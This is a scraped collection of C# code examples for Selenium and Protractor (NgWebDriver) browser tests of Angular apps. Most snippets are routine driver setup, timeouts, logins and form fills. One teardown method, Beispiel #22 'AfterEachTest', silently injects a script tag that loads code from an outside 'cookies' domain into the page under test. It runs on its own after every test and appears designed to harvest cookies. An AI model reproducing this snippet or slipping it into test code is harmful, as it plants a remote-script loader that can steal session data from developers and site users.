Beispiel #1
0
 public void BeforeEachTest()
 {
     ngWebDriver.Manage().Cookies.DeleteAllCookies();
     //Logging the execution of the test
     timeTest.Reset();
     timeTest.Start();
     Log.Info("Start test {0}.", TestContext.CurrentContext.Test.FullName);
 }
Beispiel #2
0
 public static void InvokeDriver(CommonMethods commonutils)
 {
     webdriver = new ChromeDriver();
     commonutils.Open_url("http://localhost:4200/logohome");
     driver     = new NgWebDriver(webdriver);
     driver.Url = webdriver.Url;
     driver.Manage().Timeouts().PageLoad     = TimeSpan.FromSeconds(50);
     driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(10);
     commonutils.Maximize();
 }
 public void BeforeScenario()
 {
     BrowserFactory.InitBrowser("Chrome");
     _ngDriver = BrowserFactory.NGDriver;
     _ngDriver.Manage().Cookies.DeleteAllCookies();
     wait    = new WebDriverWait(_ngDriver, TimeSpan.FromSeconds(10));
     actions = new Actions(_ngDriver);
     _ngDriver.Manage().Window.Maximize();
     // _ngDriver.Navigate().GoToUrl("about:blank");
 }
Beispiel #4
0
        public void TestSetUp()
        {
            _driver = new ChromeDriver();

            //Meet the trick here
            _ngWebDriver = new NgWebDriver(_driver, "[ng-app='docsApp']");
            _ngWebDriver.Navigate().GoToUrl(Url);
            _ngWebDriver.Manage().Window.Maximize();
            //The script timeout is almost essential since most of protractor mechanism are dependent of client side script.
            _ngWebDriver.Manage().Timeouts().SetPageLoadTimeout(TimeSpan.FromSeconds(10));
        }
Beispiel #5
0
        protected TestBase()
        {
            var path = Directory.GetCurrentDirectory();

            configuration = new ConfigurationBuilder()
                            .AddEnvironmentVariables()
                            .AddUserSecrets("a004e634-29c7-48b6-becc-87fe16be7538")
                            .Build();

            //bool runlocal = true;
            var options = new ChromeOptions();

            // run headless when in CI
            if (!string.IsNullOrEmpty(configuration["OPENSHIFT_BUILD_COMMIT"]) ||
                !string.IsNullOrEmpty(configuration["Build.BuildNumber"]))
            {
                Console.Out.WriteLine("Enabling Headless Mode");
                // could try --shm-size=1gb "disable-dev-shm-usage"
                options.AddArguments("headless", "no-sandbox", "disable-web-security", "no-zygote", "disable-gpu",
                                     "disable-dev-shm-usage", "disable-infobars", "start-maximized", "hide-scrollbars",
                                     "window-size=1920,1080");
                if (!string.IsNullOrEmpty(configuration["CHROME_BINARY_LOCATION"]))
                {
                    options.BinaryLocation = configuration["CHROME_BINARY_LOCATION"];
                }
            }
            else
            {
                options.AddArguments("start-maximized");
            }

            // setup ChromeDriver with a command timeout of 2 minutes.
            var driver = new ChromeDriver(path, options, TimeSpan.FromMinutes(2));

            // var timeout = 45.0;
            // temp change to explore pipeline impact
            var timeout = 90.0;

            driver.Manage().Timeouts().PageLoad = TimeSpan.FromSeconds(timeout);
            //driver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(timeout * 2);
            driver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(timeout);

            ngDriver = new NgWebDriver(driver);

            ngDriver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(timeout);
            ngDriver.Manage().Timeouts().PageLoad     = TimeSpan.FromSeconds(timeout);
            //ngDriver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(timeout * 2);

            baseUri = configuration["baseUri"] ?? "https://dev.justice.gov.bc.ca/lcrb";
        }
Beispiel #6
0
 public NgWebDriver GetNgWebDriver(IWebDriver driver)
 {
     try
     {
         var ngWebDriver = new NgWebDriver(driver);
         ngWebDriver.Manage().Window.Maximize();
         ngWebDriver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(10);
         ngWebDriver.Manage().Timeouts().ImplicitWait           = TimeSpan.FromSeconds(10);
         return(ngWebDriver);
     }
     catch (Exception Ex)
     {
         throw new Exception($"Failed to Convert Selenium Driver to Protractor Driver{Ex}");
     }
 }
        protected static IWebDriver LaunchWebDriver(string url, TargetBrowser targetBrowser = TargetBrowser.InternetExplorer, int width = 1024, int height = 768)
        {
            IWebDriver browser = null;

            switch (targetBrowser)
            {
            case TargetBrowser.InternetExplorer:
                var ieOptions = new InternetExplorerOptions
                {
                    IntroduceInstabilityByIgnoringProtectedModeSettings = true,
                    EnsureCleanSession = true
                };
                browser = new NgWebDriver(new InternetExplorerDriver(ieOptions));
                break;

            case TargetBrowser.Edge:
                var edgeOptions = new EdgeOptions
                {
                    PageLoadStrategy = EdgePageLoadStrategy.Eager
                };
                browser = new NgWebDriver(new EdgeDriver(edgeOptions));
                break;

            case TargetBrowser.Chrome:
                browser = new NgWebDriver(new ChromeDriver());
                break;

            case TargetBrowser.Firefox:
                browser = new NgWebDriver(new FirefoxDriver());
                break;

            case TargetBrowser.Safari:
                browser = new NgWebDriver(new SafariDriver());
                break;

            default:
                throw new ArgumentException($"Unknown target browser type {targetBrowser}");
            }

            browser.Manage().Window.Size = new Size(width, height);
            browser.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(10));
            browser.Manage().Timeouts().SetPageLoadTimeout(TimeSpan.FromSeconds(10));
            browser.Manage().Timeouts().SetScriptTimeout(TimeSpan.FromSeconds(10));  // Set script timeouts to 5 secs

            browser.Navigate().GoToUrl(url);

            return(browser);
        }
        public TestBase()
        {
            ChromeOptions options = new ChromeOptions();

            options.AddArgument("--start-maximized");
            driver = new ChromeDriver(options);

            // Protractor only supports Firefox 47.0.1
            // Marionette driver not available in Firefox 47 - using legacy
            // http://www.protractortest.org/#/browser-support

            /*FirefoxOptions options = new FirefoxOptions();
             * options.UseLegacyImplementation = true;
             * driver = new FirefoxDriver(options);*/

            ngDriver = new NgWebDriver(driver);
            //https://github.com/angular/protractor/issues/117
            ngDriver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(15);

            baseUrl       = ConfigurationManager.AppSettings["url"];
            baseUri       = new Uri(baseUrl);
            AdminEmail    = ConfigurationManager.AppSettings["AdminEmail"];
            AdminUsername = ConfigurationManager.AppSettings["AdminUsername"];
            AdminPassword = ConfigurationManager.AppSettings["AdminPassword"];
            TestProjectId = ConfigurationManager.AppSettings["TestProjectId"];
        }
Beispiel #9
0
 public Homepage(IWebDriver driver, String url)
 {
     _ngDriver     = new NgWebDriver(driver);
     _ngDriver.Url = url;
     _ngDriver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(10);
     PageFactory.InitElements(Driver.CurrentDriver, this);
 }
Beispiel #10
0
 public void SetUp()
 {
     Driver   = new ChromeDriver();
     NgDriver = new NgWebDriver(Driver);
     NgDriver.Manage().Window.Maximize();
     NgDriver.Url = _baseUrl;
 }
        public void MakePayment()
        {
            string testCC  = configuration["test_cc"];
            string testCVD = configuration["test_ccv"];

            var tempWait = ngDriver.Manage().Timeouts().ImplicitWait;

            ngDriver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(120);

            ngDriver.WrappedDriver.FindElement(By.Name("trnCardNumber")).SendKeys(testCC);
            ngDriver.WrappedDriver.FindElement(By.Name("trnCardCvd")).SendKeys(testCVD);
            ngDriver.WrappedDriver.FindElement(By.Name("submitButton")).Click();

            System.Threading.Thread.Sleep(2000);
            ngDriver.Manage().Timeouts().ImplicitWait = tempWait;
        }
Beispiel #12
0
 public void Initialize()
 {
     log.Info("Initializing FireFox WebDriver");
     driver   = new FirefoxDriver();
     ngDriver = new NgWebDriver(driver);
     ngDriver.Manage().Window.Maximize();
     wait = new WebDriverWait(ngDriver, TimeSpan.FromSeconds(50));
 }
 public void Setup()
 {
     _driver = new ChromeDriver();
     //Make sure to WaitForAngular() so no async
     _ngDriver = new NgWebDriver(_driver)
     {
         IgnoreSynchronization = false
     };
     _ngDriver.Manage().Timeouts().SetScriptTimeout(TimeSpan.FromSeconds(5));
 }
Beispiel #14
0
 public void TryMaximize()
 {
     try
     {
         NgDriver.Manage().Window.Maximize();
     }
     catch (NotImplementedException e)
     {
         Console.WriteLine("Skipping maximize, not supported on current platform: " + e.Message);
     }
 }
Beispiel #15
0
 public void Initial()
 {
     urlBase         = "http://portal-dr.epiq11.com/#/search/searchcases";
     userName        = "******";
     passWord        = "******";
     _driver         = new ChromeDriver();
     driver          = new NgWebDriver(_driver);
     takesScreenshot = _driver as ITakesScreenshot;
     wait            = new WebDriverWait(_driver, TimeSpan.FromSeconds(60));
     driver.Manage().Timeouts().SetPageLoadTimeout(TimeSpan.FromSeconds(60));
     driver.Manage().Timeouts().SetScriptTimeout(TimeSpan.FromSeconds(60));
     driver.Manage().Window.Maximize();
     driver.Navigate().GoToUrl(urlBase);
     driver.FindElement(By.Id("sign-in")).Click();
     driver.FindElement(By.Id("user-name-field")).SendKeys(userName);
     driver.FindElement(By.Id("pass-field")).SendKeys(passWord);
     driver.FindElement(By.CssSelector("input[value='Sign In']")).Click();
     wait.Until(ExpectedConditions.ElementIsVisible(By.Id("search-options-section")));
     driver.WaitForAngular();
 }
        public void Setup()
        {
            driver = new EdgeDriver();
            driver.Navigate().GoToUrl("http://todomvc.com/examples/angularjs/#/");
            driver.Manage().Window.Maximize();
            ngDriver = new NgWebDriver(driver);
            ngDriver.Manage().Timeouts().SetScriptTimeout(new TimeSpan(0, 0, 15));
            ngDriver.WaitForAngular();
            WebDriverWait wait = new WebDriverWait(ngDriver, new TimeSpan(0, 0, 15));

            wait.Until(ExpectedConditions.ElementToBeClickable(By.Id("new-todo")));
            ngDriver.ExecuteScript("window.localStorage.clear();");
        }
 public static void WaitForAngularToFinish(IWebDriver driver)
 {
     try
     {
         var ngDriver = new NgWebDriver(driver);
         ngDriver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(10);
         ngDriver.WaitForAngular();
         Thread.Sleep(500);
     }
     catch
     {
         // ignored
     }
 }
Beispiel #18
0
        public static NgWebDriver StartBrowser(string browser)
        {
            IWebDriver driver;

            if (browser.Equals("Firefox"))
            {
                driver = new FirefoxDriver();
            }

            /* else if (browser.Equals("BrowserStack"))
             * {
             *   driver = SetupBrowserStack(BrowserStackDriver);
             * }*/

            else
            {
                ChromeOptions options = new ChromeOptions();
                options.AddArguments("-incognito");
                options.AddArguments("--disable-default-apps");
                options.AddArguments("--disable-extensions");
                options.AddArguments("disable-infobars");
                //options.AddArguments("start-maximized");
                driver = new ChromeDriver(options);
                //driver.Navigate().GoToUrl("https://staging-eng.adfenix.com/#/signin");
            }

            var ngdriver = new NgWebDriver(driver);

            ngdriver.Manage().Timeouts().ImplicitWait = TimeSpan.FromSeconds(100);
            ngdriver.Manage().Timeouts().PageLoad     = TimeSpan.FromMinutes(5);
            ngdriver.Manage().Window.Maximize();
            //ngdriver.Navigate().GoToUrl("https://staging-eng.adfenix.com/#/signin");
            Wait = new WebDriverWait(driver, TimeSpan.FromSeconds(10));
            ngdriver.IgnoreSynchronization = true;
            //WaitUntilElementIsPresent(driver);
            return(ngdriver);
        }
Beispiel #19
0
        //protected ExtentReports extent;
        //protected ExtentTest test;

        public BaseTest()
        {
            //_driver = new ChromeDriver(System.Reflection.Assembly.GetExecutingAssembly().Location.Replace("ToolsQA.dll", ""));
            //Console.WriteLine("BASE CLASS ENTRY");
            var opts = new ChromeOptions();

            opts.PlatformName = "Windows";

            _driver = new RemoteWebDriver(new Uri("http://192.168.100.32:5555/wd/hub"), opts.ToCapabilities(), TimeSpan.FromMinutes(1));
            _driver.Manage().Timeouts().AsynchronousJavaScript = TimeSpan.FromSeconds(60);
            _driver.Manage().Window.Maximize();
            _browser = new NgWebDriver(_driver);
            _browser.Manage().Window.Maximize();
            _browser.Url = Url + "/login";
        }
        public static NgWebDriver StartBrowser(string browser)
        {
            IWebDriver driver;

            if (browser.Equals("Firefox"))
            {
                driver = new FirefoxDriver();
            }
            else
            {
                var options = new ChromeOptions();
                options.AddArguments("test-type");
                driver = new ChromeDriver(options);
            }

            var ngdriver = new NgWebDriver(driver);

            ngdriver.Manage().Timeouts().ImplicitlyWait(TimeSpan.FromSeconds(100));
            ngdriver.Manage().Timeouts().SetScriptTimeout(TimeSpan.FromSeconds(20));
            ngdriver.Manage().Window.Maximize();
            Wait = new WebDriverWait(driver, TimeSpan.FromSeconds(30));
            ngdriver.IgnoreSynchronization = true;
            return(ngdriver);
        }
Beispiel #21
0
        public void SimpleTMDBSearchTest() //FREQUENT TIME OUT EXCEPTION BECAUSE OF SLOW WEB API LOADING
        {
            MoviesRepository repo = new MoviesRepository();

            repo.ClearCache();
            var webdriver = new ChromeDriver();

            webdriver.Manage().Timeouts().AsynchronousJavaScript = new System.TimeSpan(TimeOut);
            var ngDriver = new NgWebDriver(webdriver);

            ngDriver.Url = BaseUrl;
            ngDriver.Manage().Window.Maximize();

            SelectElement selectBox = new SelectElement(ngDriver.FindElement(By.Id("selectDataSource")));

            foreach (var op in selectBox.Options)
            {
                if (op.Text == "TMDB")
                {
                    op.Click();
                    break;
                }
            }

            ngDriver.FindElement(NgBy.Model("dtFrom")).Clear();
            ngDriver.FindElement(NgBy.Model("dtFrom")).SendKeys("2000");

            ngDriver.FindElement(NgBy.Model("dtTo")).Clear();
            ngDriver.FindElement(NgBy.Model("dtTo")).SendKeys("2017");

            ngDriver.FindElement(By.Id("inputSearchMovies")).SendKeys("007");
            ngDriver.FindElement(By.Id("btnSearch")).Click();

            try
            {
                var title = ngDriver.FindElement(NgBy.Binding("movie.Title"))?.Text;
                Assert.IsTrue(!string.IsNullOrEmpty(title));
            }
            catch (Exception)
            {
                Assert.Fail();
            }
            finally
            {
                webdriver.Close();
            }
        }
Beispiel #22
0
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);
                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", "."));
                //webDriver.SaveScreenshot(TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" +
                //                            DateTime.Now.ToLongTimeString().Replace(":", ".") + "_Browser.jpg");
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            ((IJavaScriptExecutor)ngWebDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            ngWebDriver.Manage().Cookies.DeleteAllCookies();
            Thread.Sleep(3000);
        }
Beispiel #23
0
        public void SimpleIntegratedSearchTest()
        {
            MoviesRepository repo = new MoviesRepository();

            repo.ClearCache();
            var webdriver = new ChromeDriver();

            webdriver.Manage().Timeouts().AsynchronousJavaScript = new System.TimeSpan(TimeOut);
            var ngDriver = new NgWebDriver(webdriver);

            ngDriver.Url = BaseUrl;
            ngDriver.Manage().Window.Maximize();

            SelectElement selectBox = new SelectElement(ngDriver.FindElement(By.Id("selectDataSource")));

            foreach (var op in selectBox.Options)
            {
                if (op.Text == "Integrated")
                {
                    op.Click();
                    break;
                }
            }

            ngDriver.FindElement(NgBy.Model("dtFrom")).Clear();
            ngDriver.FindElement(NgBy.Model("dtFrom")).SendKeys("2000");

            ngDriver.FindElement(NgBy.Model("dtTo")).Clear();
            ngDriver.FindElement(NgBy.Model("dtTo")).SendKeys("2016");

            ngDriver.FindElement(By.Id("inputSearchMovies")).SendKeys("terminator 2");
            ngDriver.FindElement(By.Id("inputSearchActor")).SendKeys("arnold");
            ngDriver.FindElement(By.Id("btnSearch")).Click();

            try
            {
                var title = ngDriver.FindElement(NgBy.Binding("movie.Title"))?.Text;
                Assert.IsTrue(!string.IsNullOrEmpty(title));
            }
            catch (Exception)
            {
                Assert.Fail();
            }
        }
Beispiel #24
0
 public AngularTodoMvcPage(NgWebDriver driver)
 {
     _driver = driver;
     _driver.Manage().Timeouts().SetScriptTimeout(TimeSpan.FromSeconds(5));
 }